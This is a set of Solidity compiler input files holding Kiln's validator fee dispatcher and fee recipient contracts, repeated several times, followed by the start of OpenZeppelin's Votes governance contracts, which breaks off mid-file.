"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
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}
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"metadata": {
"useLiteralContent": true
}
}
}}
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{{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts/governance/utils/IVotes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (governance/utils/IVotes.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.\n */\ninterface IVotes {\n /**\n * @dev The signature used has expired.\n */\n error VotesExpiredSignature(uint256 expiry);\n\n /**\n * @dev Emitted when an account changes their delegate.\n */\n event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\n\n /**\n * @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of voting units.\n */\n event DelegateVotesChanged(address indexed delegate, uint256 previousVotes, uint256 newVotes);\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) external view returns (uint256);\n\n /**\n * @dev Returns the amount of votes that `account` had at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n */\n function getPastVotes(address account, uint256 timepoint) external view returns (uint256);\n\n /**\n * @dev Returns the total supply of votes available at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n */\n function getPastTotalSupply(uint256 timepoint) external view returns (uint256);\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) external view returns (address);\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) external;\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external;\n}\n"
},
"@openzeppelin/contracts/governance/utils/Votes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (governance/utils/Votes.sol)\npragma solidity ^0.8.20;\n\nimport {IERC5805} from \"../../interfaces/IERC5805.sol\";\nimport {Context} from \"../../utils/Context.sol\";\nimport {Nonces} from \"../../utils/Nonces.sol\";\nimport {EIP712} from \"../../utils/cryptography/EIP712.sol\";\nimport {Checkpoints} from \"../../utils/structs/Checkpoints.sol\";\nimport {SafeCast} from \"../../utils/math/SafeCast.sol\";\nimport {ECDSA} from \"../../utils/cryptography/ECDSA.sol\";\nimport {Time} from \"../../utils/types/Time.sol\";\n\n/**\n * @dev This is a base abstract contract that tracks voting units, which are a measure of voting power that can be\n * transferred, and provides a system of vote delegation, where an account can delegate its voting units to a sort of\n * \"representative\" that will pool delegated voting units from different accounts and can then use it to vote in\n * decisions. In fact, voting units _must_ be delegated in order to count as actual votes, and an account has to\n * delegate those votes to itself if it wishes to participate in decisions and does not have a trusted representative.\n *\n * This contract is often combined with a token contract such that voting units correspond to token units. For an\n * example, see {ERC721Votes}.\n *\n * The full history of delegate votes is tracked on-chain so that governance protocols can consider votes as distributed\n * at a particular block number to protect against flash loans and double voting. The opt-in delegate system makes the\n * cost of this history tracking optional.\n *\n * When using this module the derived contract must implement {_getVotingUnits} (for example, make it return\n * {ERC721-balanceOf}), and can use {_transferVotingUnits} to track a change in the distribution of those units (in the\n * previous example, it would be included in {ERC721-_update}).\n */\nabstract contract Votes is Context, EIP712, Nonces, IERC5805 {\n using Checkpoints for Checkpoints.Trace208;\n\n bytes32 private constant DELEGATION_TYPEHASH =\n keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\n\n mapping(address account => address) private _delegatee;\n\n mapping(address delegatee => Checkpoints.Trace208) private _delegateCheckpoints;\n\n Checkpoints.Trace208 private _totalCheckpoints;\n\n /**\n * @dev The clock was incorrectly modified.\n */\n error ERC6372InconsistentClock();\n\n /**\n * @dev Lookup to future votes is not available.\n */\n error ERC5805FutureLookup(uint256 timepoint, uint48 clock);\n\n /**\n * @dev Clock used for flagging checkpoints. Can be overridden to implement timestamp based\n * checkpoints (and voting), in which case {CLOCK_MODE} should be overridden as well to match.\n */\n function clock() public view virtual returns (uint48) {\n return Time.blockNumber();\n }\n\n /**\n * @dev Machine-readable description of the clock as specified in EIP-6372.\n */\n // solhint-disable-next-line func-name-mixedcase\n function CLOCK_MODE() public view virtual returns (string memory) {\n // Check that the clock was not modified\n if (clock() != Time.blockNumber()) {\n revert ERC6372InconsistentClock();\n }\n return \"mode=blocknumber&from=default\";\n }\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) public view virtual returns (uint256) {\n return _delegateCheckpoints[account].latest();\n }\n\n /**\n * @dev Returns the amount of votes that `account` had at 